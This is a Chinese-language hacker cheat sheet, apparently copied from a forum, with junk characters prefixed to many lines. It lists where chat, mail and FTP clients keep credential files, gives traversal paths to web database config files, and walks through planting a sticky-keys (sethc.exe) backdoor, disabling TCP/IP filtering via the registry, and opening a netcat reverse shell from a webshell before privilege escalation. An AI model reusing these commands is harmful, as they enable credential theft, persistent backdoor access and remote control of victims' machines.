7 X% r8 c" u: U- g3 Hc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
; s0 q2 A! z& h" j  a: Q2 N; Lc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
' l/ d  l; x9 w0 d1 V1 O" M4 m- }C:\Program Files\Foxmal\Foxmail.exe
$ |7 v$ h$ |# B: B  s( B/ bC:\Program Files\Foxmal\accounts.cfg
$ g+ P# C# V4 O1 R9 UC:\Program Files\tencent\Foxmal\Foxmail.exe
! C5 e9 Y# c( ~C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
; U7 o* g+ m5 E+ g% F/ O' IC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
5 O( A5 O0 c3 U0 C) T3 I0 W2 L# Z1 B0 ~C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
, C/ J" a4 J6 p) W7 R1 sc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
2 }1 d3 M7 R/ f0 @7 ?3 ic:\Program Files\tencent\QQGAME\readme.txt
8 J& }% J5 b( L! b+ `# {: x  jC:\Program Files\StormII\Storm.exe
; R( Q" U5 A3 B4 a& U
3.网站相对路径:
, K/ ?- V& u( N* U$ s
/config.php
../../config.php
0 z# H* c" \% ^2 v; L5 f4 b. X* l../config.php
: `" v1 k' D+ C, ?../../../config.php
6 [! W" G. ?0 ]6 ^0 V9 y5 E- l; S/config.inc.php
./config.inc.php
0 ?' ?8 P! P" G, B  a../../config.inc.php
- L2 \  w6 C! {4 S" ]0 x: z../config.inc.php
/ C+ X; [4 z( g" A; H+ {  h../../../config.inc.php
/conn.php
./conn.php
- f* Q5 s# }3 o  U9 Q7 V% y../../conn.php
! p( s* r$ F  U4 P3 u9 s$ o3 x../conn.php
../../../conn.php
/conn.asp
./conn.asp
6 F9 D7 e* S( A( M) ~; F  v../../conn.asp
. K+ o/ ~; u. N4 m/ t6 ]1 s../conn.asp
../../../conn.asp
  c( D! J4 R4 K% M3 N/config.inc.php
7 g; v  a8 D9 T) _( T( U./config.inc.php
( g: O* H# ?. I9 W9 V../../config.inc.php
../config.inc.php
9 \& W# Q4 S$ q6 S! ?+ W../../../config.inc.php
7 G5 r( u4 u  ^' r/config/config.php
0 Z/ \) b4 K# S* \3 r  r../../config/config.php
3 y) _) @2 d% S. i! E( r../config/config.php
../../../config/config.php
/config/config.inc.php
: p1 {8 H' h/ B+ Y- `5 J./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
, d& i$ S4 o/ P6 X2 m) X( \/config/conn.php
5 T7 ^' x4 ~. N/ B./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
( q* ^' c) r) Q( z" ?" S/config/conn.asp
( i$ h9 |- ?, J  x: ^./config/conn.asp
# X8 ~6 R( x- P; V2 q../../config/conn.asp
4 A1 h! `6 Y+ x5 G9 F: Z- W$ D../config/conn.asp
2 O/ E. p9 L; h( P6 _: b../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
/ v5 d4 P# J) {; E+ s../../../config/config.inc.php
/data/config.php
% y" ^% l. C/ z! K6 i" w../../data/config.php
' C! W# s, ^% L& D, h../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
  }4 s3 s9 H8 }  T' {: A../../data/config.inc.php
  G0 a- a# a$ S+ `& t../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
( S3 D5 g3 k1 s../../../data/conn.php
: ~9 j7 G  `* b/data/conn.asp
1 B7 y% R) P6 p+ z& j9 @./data/conn.asp
../../data/conn.asp
" |/ K5 F7 p  u1 }4 r../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
! |1 f7 w3 F$ f/include/config.php
../../include/config.php
$ q) g2 E3 W8 W& u../include/config.php
../../../include/config.php
/include/config.inc.php
4 ?2 U( X1 k6 W$ L$ p./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
; J5 n- K0 p1 c/ j9 H/ ~! `./include/conn.php
5 Q  j9 _$ o3 d/ E1 z( y../../include/conn.php
1 ]) y' W9 ^- T) w6 v" O. I& O! X* q../include/conn.php
  c5 k6 ~* G  I4 X+ ^0 s../../../include/conn.php
+ k9 u4 i- O0 O7 S6 P. d/include/conn.asp
2 r, z. v7 w! h' p./include/conn.asp
../../include/conn.asp
../include/conn.asp
0 b1 l: P; V/ ]../../../include/conn.asp
3 L8 f8 z2 _- J0 C( h$ u, T1 N/include/config.inc.php
' w7 ]! \) K6 x! S, P& K  W7 N./include/config.inc.php
../../include/config.inc.php
% I& y5 M# o% z/ b../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
# @, r. Q0 x5 A1 i  S../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
: |7 ]. ]* }4 i- X& e+ C../../inc/config.inc.php
" c4 s+ d5 N6 x) Q../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
: S3 I' l) X) K$ n7 J../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
; N- m- V" h$ [2 @./inc/conn.asp
, _9 s1 z7 {6 t3 L, I1 m- }../../inc/conn.asp
../inc/conn.asp
7 Z6 E4 W( V& o4 S( ]../../../inc/conn.asp
" G9 U6 P5 J8 S/inc/config.inc.php
( l/ P# `8 y1 w: J./inc/config.inc.php
../../inc/config.inc.php
4 J/ F" F$ h4 ]6 ~# j../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
! `; r4 w; b0 j# t/ W, w* A../index.php
../../../index.php
! X9 _* C/ h, d* _+ i+ F/index.asp
./index.asp
../../index.asp
. x! [: v6 Z: x' @3 h3 _6 g5 c../index.asp
, ^9 F- f8 o3 F% Z- r../../../index.asp
3 f/ u% O' |# U  ~' b# D替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
* I+ K; B2 Y5 m2 x& {
4 F+ `4 y2 F7 U& j　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

3 L. F0 v/ z, B! R0 P4 w8 N7 j　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

$ J& B7 a  j" k# K: i/ }) a; |　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
* J  e/ e) i; D6 e
　　attrib c:\windows\system32\sethc.exe +h +r +s
" h9 h. x: m5 H7 \# q: Q$ U
% a0 N3 h# ?. j2 W& J% l　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
9 s( X- j6 b% o* `2 v, p" Y, O去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
6 ?/ K/ \) d- R' Z9 p' h0 MHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
& p7 U7 B: H$ B$ J& Z6 F9 yHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ c: g* e  u5 M3 q. r
+ ?$ P& r  {9 c9 `4 j9 {5 D分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
0 _; q  T* a! [% i* y- e. }regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! _( A, ]" N7 |& U* @3 `命令来导出注册表项

/ }. P, g& d8 r4 U1 g然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
1 x' f0 a- L/ s' N1 K9 ~7 F/ p
再将以上三个文件分别用
3 r7 t+ L/ |9 b! qregedit -s D:\a.reg
9 K7 Y, A' {- l2 H7 `+ Mregedit -s D:\b.reg
' \6 _' g: V# |& Kregedit -s D:\c.reg
导入注册表即可
9 ]& r( v  J# N8 p
webshell提权小技巧
' `7 P3 j# k4 x' g$ C' U6 v. Dcmd路径:
c:\windows\temp\cmd.exe
" ~& ^) ?" _: L+ h# jnc也在同目录下
例如反弹cmdshell：
% I+ f+ u  @  x& ~1 a% W"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
; e3 a* B$ t  D8 K0 |这个不是重点
5 S/ X' u/ U# G  \& N' G# {; S我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功